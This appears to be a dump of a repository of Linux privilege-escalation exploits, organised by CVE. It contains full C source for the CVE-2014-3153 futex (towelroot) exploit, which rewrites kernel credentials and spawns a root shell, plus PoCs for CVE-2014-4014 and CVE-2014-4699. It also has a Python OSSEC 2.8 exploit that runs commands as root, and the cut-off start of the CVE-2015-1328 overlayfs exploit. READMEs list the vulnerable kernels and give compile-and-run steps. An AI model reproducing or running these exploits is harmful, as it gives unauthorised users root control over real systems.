#define SIGNAL_THREAD_EXIT 10
#define OFFSET_PID 0x4A4
#define OFFSET_REAL_PARENT 0x4B8
#define OFFSET_CRED 0x668
#define SIZEOF_CRED 160
#define SIZEOF_TASK_STRUCT 2912
#define OFFSET_ADDR_LIMIT 0x20
#define PRIO_LIST_OFFSET 8
#define NODE_LIST_OFFSET (PRIO_LIST_OFFSET + sizeof(struct list_head))
#define PRIO_LIST_TO_WAITER(list) (((void *)(list)) - PRIO_LIST_OFFSET)
#define WAITER_TO_PRIO_LIST(waiter) (((void *)(waiter)) + PRIO_LIST_OFFSET)
#define NODE_LIST_TO_WAITER(list) (((void *)(list)) - NODE_LIST_OFFSET)
#define WAITER_TO_NODE_LIST(waiter) (((void *)(waiter)) + NODE_LIST_OFFSET)
#define MUTEX_TO_PRIO_LIST(mutex) (((void *)(mutex)) + sizeof(long))
#define MUTEX_TO_NODE_LIST(mutex) (((void *)(mutex)) + sizeof(long) + sizeof(struct list_head))
////////////////////////////////////////////////////////////////////
struct task_struct;
struct thread_info {
struct task_struct *task;
void *exec_domain;
int flags;
int status;
int cpu;
int preempt_count;
void *addr_limit;
};
struct list_head {
struct list_head *next;
struct list_head *prev;
};
struct plist_head {
struct list_head node_list;
};
struct plist_node {
int prio;
struct list_head prio_list;
struct list_head node_list;
};
struct rt_mutex {
unsigned long wait_lock;
struct plist_head wait_list;
struct task_struct *owner;
};
struct rt_mutex_waiter {
struct plist_node list_entry;
struct plist_node pi_list_entry;
struct task_struct *task;
struct rt_mutex *lock;
};
struct mmsghdr {
struct msghdr msg_hdr;
unsigned int msg_len;
};
struct cred {
int usage;
int uid; /* real UID of the task */
int gid; /* real GID of the task */
int suid; /* saved UID of the task */
int sgid; /* saved GID of the task */
int euid; /* effective UID of the task */
int egid; /* effective GID of the task */
int fsuid; /* UID for VFS ops */
int fsgid; /* GID for VFS ops */
};
////////////////////////////////////////////////////////////////////
static int swag = 0;
static int swag2 = 0;
static int main_pid;
static pid_t waiter_thread_tid;
static pthread_mutex_t hacked_lock;
static pthread_cond_t hacked;
static pthread_mutex_t done_lock;
static pthread_cond_t done;
static pthread_mutex_t is_thread_desched_lock;
static pthread_cond_t is_thread_desched;
static volatile int do_socket_tid_read = 0;
static volatile int did_socket_tid_read = 0;
static volatile int do_dm_tid_read = 0;
static volatile int did_dm_tid_read = 0;
static pid_t last_tid = 0;
static volatile int_sync_time_out = 0;
struct thread_info thinfo;
char task_struct_buf[SIZEOF_TASK_STRUCT];
struct cred cred_buf;
struct thread_info *hack_thread_stack = NULL;
pthread_t thread_client_to_setup_rt_waiter;
int listenfd;
int sockfd;
int clientfd;
////////////////////////////////////////////////////////////////
int gettid()
{
return syscall(__NR_gettid);
}
ssize_t read_pipe(void *kbuf, void *ubuf, size_t count) {
int pipefd[2];
ssize_t len;
pipe(pipefd);
len = write(pipefd[1], kbuf, count);
if (len != count) {
printf("Thread %d failed in reading @ %p : %d %d\n", gettid(), kbuf, (int)len, errno);
while(1) { sleep(10); }
}
read(pipefd[0], ubuf, count);
close(pipefd[0]);
close(pipefd[1]);
return len;
}
ssize_t write_pipe(void *kbuf, void *ubuf, size_t count) {
int pipefd[2];
ssize_t len;
pipe(pipefd);
write(pipefd[1], ubuf, count);
len = read(pipefd[0], kbuf, count);
if (len != count) {
printf("Thread %d failed in writing @ %p : %d %d\n", gettid(), kbuf, (int)len, errno);
while(1) { sleep(10); }
}
close(pipefd[0]);
close(pipefd[1]);
return len;
}
int pthread_cancel_immediately(pthread_t thid)
{
pthread_kill(thid, SIGNAL_THREAD_EXIT);
pthread_join(thid, NULL);
return 0;
}
void set_addr_limit(void *sp)
{
long newlimit = -1;
write_pipe(sp + OFFSET_ADDR_LIMIT, (void *)&newlimit, sizeof(long));
}
void set_cred(struct cred *kcred)
{
struct cred cred_buf;
int len;
len = read_pipe(kcred, &cred_buf, sizeof(cred_buf));
cred_buf.uid = cred_buf.euid = cred_buf.suid = cred_buf.fsuid = 0;
cred_buf.gid = cred_buf.egid = cred_buf.sgid = cred_buf.fsgid = 0;
len = write_pipe(kcred, &cred_buf, sizeof(cred_buf));
}
struct rt_mutex_waiter *pwaiter11;
void set_parent_cred(void *sp, int parent_tid)
{
int len;
int tid;
struct task_struct *pparent;
struct cred *pcred;
set_addr_limit(sp);
len = read_pipe(sp, &thinfo, sizeof(thinfo));
if(len != sizeof(thinfo)) {
printf("Read %p error %d\n", sp, len);
}
void *ptask = thinfo.task;
len = read_pipe(ptask, task_struct_buf, SIZEOF_TASK_STRUCT);
tid = *(int *)(task_struct_buf + OFFSET_PID);
while(tid != 0 && tid != parent_tid) {
pparent = *(struct task_struct **)(task_struct_buf + OFFSET_REAL_PARENT);
len = read_pipe(pparent, task_struct_buf, SIZEOF_TASK_STRUCT);
tid = *(int *)(task_struct_buf + OFFSET_PID);
}
if(tid == parent_tid) {
pcred = *(struct cred **)(task_struct_buf + OFFSET_CRED);
set_cred(pcred);
} else
printf("Pid %d not found\n", parent_tid);
return;
}
static int read_voluntary_ctxt_switches(pid_t pid)
{
char filename[256];
FILE *fp;
int vcscnt = -1;
sprintf(filename, "/proc/self/task/%d/status", pid);
fp = fopen(filename, "rb");
if (fp) {
char filebuf[4096];
char *pdest;
fread(filebuf, 1, sizeof filebuf, fp);
pdest = strstr(filebuf, "voluntary_ctxt_switches");
vcscnt = atoi(pdest + 0x19);
fclose(fp);
}
return vcscnt;
}
static void sync_timeout_task(int sig)
{
int_sync_time_out = 1;
}
static int sync_with_child_getchar(pid_t pid, int volatile *do_request, int volatile *did_request)
{
while (*do_request == 0) { }
printf("Press RETURN after one second...");
*did_request = 1;
getchar();
return 0;
}
static int sync_with_child(pid_t pid, int volatile *do_request, int volatile *did_request)
{
struct sigaction act;
int vcscnt;
int_sync_time_out = 0;
act.sa_handler = sync_timeout_task;
sigemptyset(&act.sa_mask);
act.sa_flags = 0;
act.sa_restorer = NULL;
sigaction(SIGALRM, &act, NULL);
alarm(3);
while (*do_request == 0) {
if (int_sync_time_out)
return -1;
}
alarm(0);
vcscnt = read_voluntary_ctxt_switches(pid);
*did_request = 1;
while (read_voluntary_ctxt_switches(pid) != vcscnt + 1) {
usleep(10);
}
return 0;
}
static void sync_with_parent(int volatile *do_request, int volatile *did_request)
{
*do_request = 1;
while (*did_request == 0) { }
}
void fix_rt_mutex_waiter_list(struct rt_mutex *pmutex)
{
struct rt_mutex_waiter *pwaiter6, *pwaiter7;
struct rt_mutex_waiter waiter6, waiter7;
struct rt_mutex mutex;
if(!pmutex)
return;
read_pipe(pmutex, &mutex, sizeof(mutex));
pwaiter6 = NODE_LIST_TO_WAITER(mutex.wait_list.node_list.next);
if(!pwaiter6)
return;
read_pipe(pwaiter6, &waiter6, sizeof(waiter6));
pwaiter7 = NODE_LIST_TO_WAITER(waiter6.list_entry.node_list.next);
if(!pwaiter7)
return;
read_pipe(pwaiter7, &waiter7, sizeof(waiter7));
waiter6.list_entry.prio_list.prev = waiter6.list_entry.prio_list.next;
waiter7.list_entry.prio_list.next = waiter7.list_entry.prio_list.prev;
mutex.wait_list.node_list.prev = waiter6.list_entry.node_list.next;
waiter7.list_entry.node_list.next = waiter6.list_entry.node_list.prev;
write_pipe(pmutex, &mutex, sizeof(mutex));
write_pipe(pwaiter6, &waiter6, sizeof(waiter6));
write_pipe(pwaiter7, &waiter7, sizeof(waiter7));
}
static void void_handler(int signum)
{
pthread_exit(0);
}
static void kernel_hack_task(int signum)
{
struct rt_mutex *prt_mutex, rt_mutex;
struct rt_mutex_waiter rt_waiter11;
int tid = syscall(__NR_gettid);
int pid = getpid();
set_parent_cred(hack_thread_stack, main_pid);
read_pipe(pwaiter11, (void *)&rt_waiter11, sizeof(rt_waiter11));
prt_mutex = rt_waiter11.lock;
read_pipe(prt_mutex, (void *)&rt_mutex, sizeof(rt_mutex));
void *ptask_struct = rt_mutex.owner;
ptask_struct = (void *)((long)ptask_struct & ~ 0xF);
int len = read_pipe(ptask_struct, task_struct_buf, SIZEOF_TASK_STRUCT);
int *ppid = (int *)(task_struct_buf + OFFSET_PID);
void **pstack = (void **)&task_struct_buf[8];
void *owner_sp = *pstack;
set_addr_limit(owner_sp);
pthread_mutex_lock(&hacked_lock);
pthread_cond_signal(&hacked);
pthread_mutex_unlock(&hacked_lock);
}
static void *call_futex_lock_pi_with_priority(void *arg)
{
int prio;
struct sigaction act;
int ret;
prio = (long)arg;
last_tid = syscall(__NR_gettid);
pthread_mutex_lock(&is_thread_desched_lock);
pthread_cond_signal(&is_thread_desched);
act.sa_handler = void_handler;
sigemptyset(&act.sa_mask);
act.sa_flags = 0;
act.sa_restorer = NULL;
sigaction(SIGNAL_THREAD_EXIT, &act, NULL);
act.sa_handler = kernel_hack_task;
sigemptyset(&act.sa_mask);
act.sa_flags = 0;
act.sa_restorer = NULL;
sigaction(SIGNAL_HACK_KERNEL, &act, NULL);
setpriority(PRIO_PROCESS, 0, prio);
pthread_mutex_unlock(&is_thread_desched_lock);
sync_with_parent(&do_dm_tid_read, &did_dm_tid_read);
ret = syscall(__NR_futex, &swag2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
return NULL;
}
static pthread_t create_thread_do_futex_lock_pi_with_priority(int prio)
{
pthread_t th4;
pid_t pid;
do_dm_tid_read = 0;
did_dm_tid_read = 0;
pthread_mutex_lock(&is_thread_desched_lock);
pthread_create(&th4, 0, call_futex_lock_pi_with_priority, (void *)(long)prio);
pthread_cond_wait(&is_thread_desched, &is_thread_desched_lock);
pid = last_tid;
sync_with_child(pid, &do_dm_tid_read, &did_dm_tid_read);
pthread_mutex_unlock(&is_thread_desched_lock);
return th4;
}
static int server_for_setup_rt_waiter(void)
{
int sockfd;
int yes = 1;
struct sockaddr_in addr = {0};
sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *)&yes, sizeof(yes));
addr.sin_family = AF_INET;
addr.sin_port = htons(LOCAL_PORT);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
bind(sockfd, (struct sockaddr *)&addr, sizeof(addr));
listen(sockfd, 1);
listenfd = sockfd;
return accept(sockfd, NULL, NULL);
}
static int connect_server_socket(void)
{
int sockfd;
struct sockaddr_in addr = {0};
int ret;
int sock_buf_size;
sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
if (sockfd < 0) {
printf("socket failed\n");
usleep(10);
} else {
addr.sin_family = AF_INET;
addr.sin_port = htons(LOCAL_PORT);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
}
while (connect(sockfd, (struct sockaddr *)&addr, 16) < 0) {
usleep(10);
}
sock_buf_size = 1;
setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (char *)&sock_buf_size, sizeof(sock_buf_size));
return sockfd;
}
unsigned long iov_base0, iov_basex;
size_t iov_len0, iov_lenx;
static void *client_to_setup_rt_waiter(void *waiter_plist)
{
int sockfd;
struct mmsghdr msgvec[1];
struct iovec msg_iov[8];
unsigned long databuf[0x20];
int i;
int ret;
struct sigaction act;
act.sa_handler = void_handler;
sigemptyset(&act.sa_mask);
act.sa_flags = 0;
act.sa_restorer = NULL;
sigaction(SIGNAL_THREAD_EXIT, &act, NULL);
waiter_thread_tid = syscall(__NR_gettid);
setpriority(PRIO_PROCESS, 0, 12);
sockfd = connect_server_socket();
clientfd = sockfd;
for (i = 0; i < ARRAY_SIZE(databuf); i++) {
databuf[i] = (unsigned long)waiter_plist;
}
for (i = 0; i < ARRAY_SIZE(msg_iov); i++) {
msg_iov[i].iov_base = waiter_plist;
msg_iov[i].iov_len = (long)waiter_plist;
}
msg_iov[1].iov_base = (void *)iov_base0;
msgvec[0].msg_hdr.msg_name = databuf;
msgvec[0].msg_hdr.msg_namelen = sizeof databuf;
msgvec[0].msg_hdr.msg_iov = msg_iov;
msgvec[0].msg_hdr.msg_iovlen = ARRAY_SIZE(msg_iov);
msgvec[0].msg_hdr.msg_control = databuf;
msgvec[0].msg_hdr.msg_controllen = ARRAY_SIZE(databuf);
msgvec[0].msg_hdr.msg_flags = 0;
msgvec[0].msg_len = 0;
syscall(__NR_futex, &swag, FUTEX_WAIT_REQUEUE_PI, 0, 0, &swag2, 0);
sync_with_parent(&do_socket_tid_read, &did_socket_tid_read);
ret = 0;
while (1) {
ret = syscall(__NR_sendmmsg, sockfd, msgvec, 1, 0);
if (ret <= 0) {
break;
} else
printf("sendmmsg ret %d\n", ret);
}
return NULL;
}
static void plist_set_next(struct list_head *node, struct list_head *head)
{
node->next = head;
head->prev = node;
node->prev = head;
head->next = node;
}
static void setup_waiter_params(struct rt_mutex_waiter *rt_waiters)
{
rt_waiters[0].list_entry.prio = USER_PRIO_BASE + 9;
rt_waiters[1].list_entry.prio = USER_PRIO_BASE + 13;
plist_set_next(&rt_waiters[0].list_entry.prio_list, &rt_waiters[1].list_entry.prio_list);
plist_set_next(&rt_waiters[0].list_entry.node_list, &rt_waiters[1].list_entry.node_list);
}
static bool do_exploit(void *waiter_plist)
{
void *magicval, *magicval2;
struct rt_mutex_waiter *rt_waiters;
pid_t pid;
pid_t pid6, pid7, pid12, pid11;
rt_waiters = PRIO_LIST_TO_WAITER(waiter_plist);
syscall(__NR_futex, &swag2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
while (syscall(__NR_futex, &swag, FUTEX_CMP_REQUEUE_PI, 1, 0, &swag2, swag) != 1) {
usleep(10);
}
pthread_t th6 = create_thread_do_futex_lock_pi_with_priority(6);
pthread_t th7 = create_thread_do_futex_lock_pi_with_priority(7);
swag2 = 0;
do_socket_tid_read = 0;
did_socket_tid_read = 0;
syscall(__NR_futex, &swag2, FUTEX_CMP_REQUEUE_PI, 1, 0, &swag2, swag2);
if (sync_with_child_getchar(waiter_thread_tid, &do_socket_tid_read, &did_socket_tid_read) < 0) {
return false;
}
setup_waiter_params(rt_waiters);
magicval = rt_waiters[0].list_entry.prio_list.next;
printf("Checking whether exploitable..");
pthread_t th11 = create_thread_do_futex_lock_pi_with_priority(11);
if (rt_waiters[0].list_entry.prio_list.next == magicval) {
printf("failed\n");
return false;
}
printf("OK\nSeaching good magic...\n");
magicval = rt_waiters[0].list_entry.prio_list.next;
pthread_cancel_immediately(th11);
pthread_t th11_1, th11_2;
while(1) {
setup_waiter_params(rt_waiters);
th11_1 = create_thread_do_futex_lock_pi_with_priority(11);
magicval = rt_waiters[0].list_entry.prio_list.next;
hack_thread_stack = (struct thread_info *)((unsigned long)magicval & 0xffffffffffffe000);
rt_waiters[1].list_entry.node_list.prev = (void *)&hack_thread_stack->addr_limit;
th11_2 = create_thread_do_futex_lock_pi_with_priority(11);
magicval2 = rt_waiters[1].list_entry.node_list.prev;
printf("magic1=%p magic2=%p\n", magicval, magicval2);
if(magicval < magicval2) {
printf("Good magic found\nHacking...\n");
break;
} else {
pthread_cancel_immediately(th11_1);
pthread_cancel_immediately(th11_2);
}
}
pwaiter11 = NODE_LIST_TO_WAITER(magicval2);
pthread_mutex_lock(&hacked_lock);
pthread_kill(th11_1, SIGNAL_HACK_KERNEL);
pthread_cond_wait(&hacked, &hacked_lock);
pthread_mutex_unlock(&hacked_lock);
close(listenfd);
struct rt_mutex_waiter waiter11;
struct rt_mutex *pmutex;
int len = read_pipe(pwaiter11, &waiter11, sizeof(waiter11));
if(len != sizeof(waiter11)) {
pmutex = NULL;
} else {
pmutex = waiter11.lock;
}
fix_rt_mutex_waiter_list(pmutex);
pthread_cancel_immediately(th11_1);
pthread_cancel_immediately(th11_2);
pthread_cancel_immediately(th7);
pthread_cancel_immediately(th6);
close(clientfd);
pthread_cancel_immediately(thread_client_to_setup_rt_waiter);
exit(0);
}
#define MMAP_ADDR_BASE 0x0c000000
#define MMAP_LEN 0x0c001000
int main(int argc, char *argv[])
{
unsigned long mapped_address;
void *waiter_plist;
printf("CVE-2014-3153 exploit by Chen Kaiqu(kaiquchen@163.com)\n");
main_pid = gettid();
if(fork() == 0) {
iov_base0 = (unsigned long)mmap((void *)0xb0000000, 0x10000, PROT_READ | PROT_WRITE | PROT_EXEC, /*MAP_POPULATE |*/ MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
if (iov_base0 < 0xb0000000) {
printf("mmap failed?\n");
return 1;
}
iov_len0 = 0x10000;
iov_basex = (unsigned long)mmap((void *)MMAP_ADDR_BASE, MMAP_LEN, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
if (iov_basex < MMAP_ADDR_BASE) {
printf("mmap failed?\n");
return 1;
}
iov_lenx = MMAP_LEN;
waiter_plist = (void *)iov_basex + 0x400;
pthread_create(&thread_client_to_setup_rt_waiter, NULL, client_to_setup_rt_waiter, waiter_plist);
sockfd = server_for_setup_rt_waiter();
if (sockfd < 0) {
printf("Server failed\n");
return 1;
}
if (!do_exploit(waiter_plist)) {
return 1;
}
return 0;
}
while(getuid())
usleep(100);
execl("/bin/bash", "bin/bash", NULL);
return 0;
}

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,30 @@
# CVE-2014-3153
CVE-2014-3153
The exp is from [@timwr](https://github.com/timwr/CVE-2014-3153)
Vulnerability reference:
* [CVE-2014-3153](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3153)
* [exp-db](https://www.exploit-db.com/exploits/35370/)
## Kernels
```
3.3.5 ,3.3.4 ,3.3.2 ,3.2.13 ,3.2.9 ,3.2.1 ,3.1.8 ,3.0.5 ,3.0.4 ,3.0.2 ,3.0.1 ,2.6.39 ,2.6.38 ,2.6.37 ,2.6.35 ,2.6.34 ,2.6.33 ,2.6.32 ,2.6.9 ,2.6.8 ,2.6.7 ,2.6.6 ,2.6.5 ,2.6.4 ,3.2.2 ,3.0.18 ,3.0 ,2.6.8.1
```
## Usage
```
$ gcc exploit.c -o exploit -lpthread
$ ./exploit
```
## References
* [Exploiting the Futex Bug and uncovering Towelroot](http://tinyhack.com/2014/07/07/exploiting-the-futex-bug-and-uncovering-towelroot/)
* [CVE-2014-3153内核漏洞分析](http://www.tuicool.com/articles/nm2AZvB)
* [cve2014-3153 漏洞之详细分析与利用](http://blog.topsec.com.cn/ad_lab/cve2014-3153/)
* [Research of CVE-2014-3153 and its famous exploit towelroot on x86](https://github.com/geekben/towelroot)

Binary file not shown.

View File

@ -0,0 +1,72 @@
/**
* CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC
*
* Vitaly Nikolenko
* http://hashcrack.org
*
* Usage: ./poc [file_path]
*
* where file_path is the file on which you want to set the sgid bit
*/
#define _GNU_SOURCE
#include <sys/wait.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <limits.h>
#include <string.h>
#include <assert.h>
#define STACK_SIZE (1024 * 1024)
static char child_stack[STACK_SIZE];
struct args {
int pipe_fd[2];
char *file_path;
};
static int child(void *arg) {
struct args *f_args = (struct args *)arg;
char c;
// close stdout
close(f_args->pipe_fd[1]);
assert(read(f_args->pipe_fd[0], &c, 1) == 0);
// set the setgid bit
chmod(f_args->file_path, S_ISGID|S_IRUSR|S_IWUSR|S_IRGRP|S_IXGRP|S_IXUSR);
return 0;
}
int main(int argc, char *argv[]) {
int fd;
pid_t pid;
char mapping[1024];
char map_file[PATH_MAX];
struct args f_args;
assert(argc == 2);
f_args.file_path = argv[1];
// create a pipe for synching the child and parent
assert(pipe(f_args.pipe_fd) != -1);
pid = clone(child, child_stack + STACK_SIZE, CLONE_NEWUSER | SIGCHLD, &f_args);
assert(pid != -1);
// get the current uid outside the namespace
snprintf(mapping, 1024, "0 %d 1\n", getuid());
// update uid and gid maps in the child
snprintf(map_file, PATH_MAX, "/proc/%ld/uid_map", (long) pid);
fd = open(map_file, O_RDWR); assert(fd != -1);
assert(write(fd, mapping, strlen(mapping)) == strlen(mapping));
close(f_args.pipe_fd[1]);
assert (waitpid(pid, NULL, 0) != -1);
}

View File

@ -0,0 +1,29 @@
# CVE-2014-4014
```
The capabilities implementation in the Linux kernel before 3.14.8 does not properly consider that namespaces are inapplicable to inodes,
which allows local users to bypass intended chmod restrictions by first creating a user namespace,
as demonstrated by setting the setgid bit on a file with group ownership of root.
```
Vulnerability reference:
* [CVE-2014-4014](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-4014)
* [exp-db](https://www.exploit-db.com/exploits/33824/)
## Kernels
```
before 3.14.8
```
## Usage
```
./poc [file_path]
```
![screen-shot-2014-06-21-at-113329](screen-shot-2014-06-21-at-113329.png)
## References
* [CVE-2014-4014Linux内核本地权限提升利用](http://www.tuicool.com/articles/eQnaEnQ)

Binary file not shown.

After

Width:  |  Height:  |  Size: 121 KiB

125
2014/CVE-2014-4699/34134.c Normal file
View File

@ -0,0 +1,125 @@
/**
* CVE-2014-4699 ptrace/sysret PoC
* by Vitaly Nikolenko
* vnik@hashcrack.org
*
* > gcc -O2 poc_v0.c
*
* This code is kernel specific. On Ubuntu 12.04.0 LTS (3.2.0-23-generic), the
* following will trigger the #GP in sysret and overwrite the #PF handler so we
* can land to our NOP sled mapped at 0x80000000.
* However, once landed, the IDT will be trashed. We can either attempt to
* restore it (then escalate privileges and execute our shellcode) or find
* something else to overwrite that would transfer exec flow to our controlled
* user-space address. Since 3.10.something, IDT is read-only anyway. If you
* have any ideas, let me know.
*/
#include <stdio.h>
#include <stdint.h>
#include <assert.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <sys/user.h>
#include <unistd.h>
#include <sys/mman.h>
#include <errno.h>
#define SIZE 0x10000000
typedef int __attribute__((regparm(3))) (*commit_creds_fn)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(unsigned long cred);
unsigned long __user_cs;
unsigned long __user_ss;
unsigned long __user_rflags;
void __attribute__((regparm(3))) payload() {
uint32_t *fixptr = (void*)0xffffffff81dd70e8;
// restore the #PF handler
*fixptr = -1;
//commit_creds_fn commit_creds = (commit_creds_fn)0xffffffff81091630;
//prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)0xffffffff810918e0;
//commit_creds(prepare_kernel_cred((uint64_t)NULL));
//__asm__ volatile ("swapgs\n\t"
// "...");
}
int main() {
struct user_regs_struct regs;
uint8_t *trampoline, *tmp;
int status;
struct {
uint16_t limit;
uint64_t addr;
} __attribute__((packed)) idt;
// MAP_POPULATE so we don't trigger extra #PF
trampoline = mmap(0x80000000, SIZE, 7|PROT_EXEC|PROT_READ|PROT_WRITE, 0x32|MAP_FIXED|MAP_POPULATE|MAP_GROWSDOWN, 0,0);
assert(trampoline == 0x80000000);
memset(trampoline, 0x90, SIZE);
tmp = trampoline;
tmp += SIZE-1024;
memcpy(tmp, &payload, 1024);
memcpy(tmp-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", 13);
pid_t chld;
if ((chld = fork()) < 0) {
perror("fork");
exit(1);
}
if (chld == 0) {
if (ptrace(PTRACE_TRACEME, 0, 0, 0) != 0) {
perror("PTRACE_TRACEME");
exit(1);
}
raise(SIGSTOP);
fork();
return 0;
}
asm volatile("sidt %0" : "=m" (idt));
printf("IDT addr = 0x%lx\n", idt.addr);
waitpid(chld, &status, 0);
ptrace(PTRACE_SETOPTIONS, chld, 0, PTRACE_O_TRACEFORK);
ptrace(PTRACE_CONT, chld, 0, 0);
waitpid(chld, &status, 0);
ptrace(PTRACE_GETREGS, chld, NULL, &regs);
regs.rdi = 0x0000000000000000;
regs.rip = 0x8fffffffffffffff;
regs.rsp = idt.addr + 14*16 + 8 + 0xb0 - 0x78;
// attempt to restore the IDT
regs.rdi = 0x0000000000000000;
regs.rsi = 0x81658e000010cbd0;
regs.rdx = 0x00000000ffffffff;
regs.rcx = 0x81658e000010cba0;
regs.rax = 0x00000000ffffffff;
regs.r8 = 0x81658e010010cb00;
regs.r9 = 0x00000000ffffffff;
regs.r10 = 0x81668e0000106b10;
regs.r11 = 0x00000000ffffffff;
regs.rbx = 0x81668e0000106ac0;
regs.rbp = 0x00000000ffffffff;
regs.r12 = 0x81668e0000106ac0;
regs.r13 = 0x00000000ffffffff;
regs.r14 = 0x81668e0200106a90;
regs.r15 = 0x00000000ffffffff;
ptrace(PTRACE_SETREGS, chld, NULL, &regs);
ptrace(PTRACE_CONT, chld, 0, 0);
ptrace(PTRACE_DETACH, chld, 0, 0);
}

View File

@ -0,0 +1,23 @@
# CVE-2014-4699
CVE-2014-4699
Vulnerability reference:
* [CVE-2014-4699](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-4699)
* [exp-db](https://www.exploit-db.com/exploits/34134/)
## Kernels
```
before 3.15.4
```
## Usage
```
$ gcc -O2 poc_v0.c
```

View File

@ -0,0 +1,82 @@
#!/usr/bin/python
# Exploit Title: ossec 2.8 Insecure Temporary File Creation Vulnerability Privilege Escalation
# Date: 14-11-14
# Exploit Author: skynet-13
# Vendor Homepage: www.ossec.net/
# Software Link: https://github.com/ossec/ossec-hids/archive/2.8.1.tar.gz
# Version: OSSEC - 2.8
# Tested on: Ubunutu x86_64
# CVE : 2014-5284
# Created from Research by
# Jeff Petersen
# Roka Security LLC
# jpetersen@rokasecurity.com
# Original info at https://github.com/ossec/ossec-hids/releases/tag/2.8.1
# Run this on target machine and follow instructions to execute command as root
from twisted.internet import inotify
from twisted.python import filepath
from twisted.internet import reactor
import os
import optparse
import signal
class HostDenyExploiter(object):
def __init__(self, path_to_watch, cmd):
self.path = path_to_watch
self.notifier = inotify.INotify()
self.exploit = cmd
def create_files(self):
print "=============================================="
print "Creating /tmp/hosts.deny.300 through /tmp/hosts.deny.65536 ..."
for i in range(300, 65536):
filename = "/tmp/hosts.deny.%s" % i
f = open(filename, 'w')
f.write("")
f.close()
def watch_files(self):
print "=============================================="
print "Monitoring tmp for file change...."
print "ssh into the system a few times with an incorrect password"
print "Then wait for up to 10 mins"
print "=============================================="
self.notifier.startReading()
self.notifier.watch(filepath.FilePath(self.path), callbacks=[self.on_file_change])
def write_exploit_to_file(self, path):
print 'Writing exploit to this file'
f = open(str(path).split("'")[1], 'w')
f.write(' sshd : ALL : twist %s \n' % self.exploit)
f.close()
print "=============================================="
print " ssh in again to execute the command"
print "=============================================="
print " End Prog."
os.kill(os.getpid(), signal.SIGUSR1)
def on_file_change(self, watch, path, mask):
print 'File: ', str(path).split("'")[1], ' has just been modified'
self.notifier.stopReading()
self.write_exploit_to_file(path)
if __name__ == '__main__':
parser = optparse.OptionParser("usage of program \n" + "-c Command to run as root in quotes\n")
parser.add_option('-c', dest='cmd', type='string', help='Used to specify a command to run as root')
(options, args) = parser.parse_args()
cmd = options.cmd
if options.cmd is None:
print parser.usage
exit(0)
ex = HostDenyExploiter('/tmp', cmd)
ex.create_files()
ex.watch_files()
reactor.run()
exit(0)

View File

@ -0,0 +1,22 @@
# CVE-2014-5284
CVE-2014-5284
Vulnerability reference:
* [CVE-2014-5284](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-5284)
* [exp-db](https://www.exploit-db.com/exploits/35234/)
## OSSEC
```
2.8
```
## References
* [OSSEC不安全临时文件创建漏洞(CVE-2014-5284)](http://www.linuxidc.com/Linux/2014-12/110401.htm)

153
2015/CVE-2015-1328/37292.c Normal file
View File

@ -0,0 +1,153 @@
/*
# Exploit Title: ofs.c - overlayfs local root in ubuntu
# Date: 2015-06-15
# Exploit Author: rebel
# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
# CVE : CVE-2015-1328 (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
CVE-2015-1328 / ofs.c
overlayfs incorrect permission handling + FS_USERNS_MOUNT
user@ubuntu-server-1504:~$ uname -a
Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu-server-1504:~$ gcc ofs.c -o ofs
user@ubuntu-server-1504:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)
user@ubuntu-server-1504:~$ ./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user)
greets to beist & kaliman
2015-05-24
%rebel%
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <linux/sched.h>
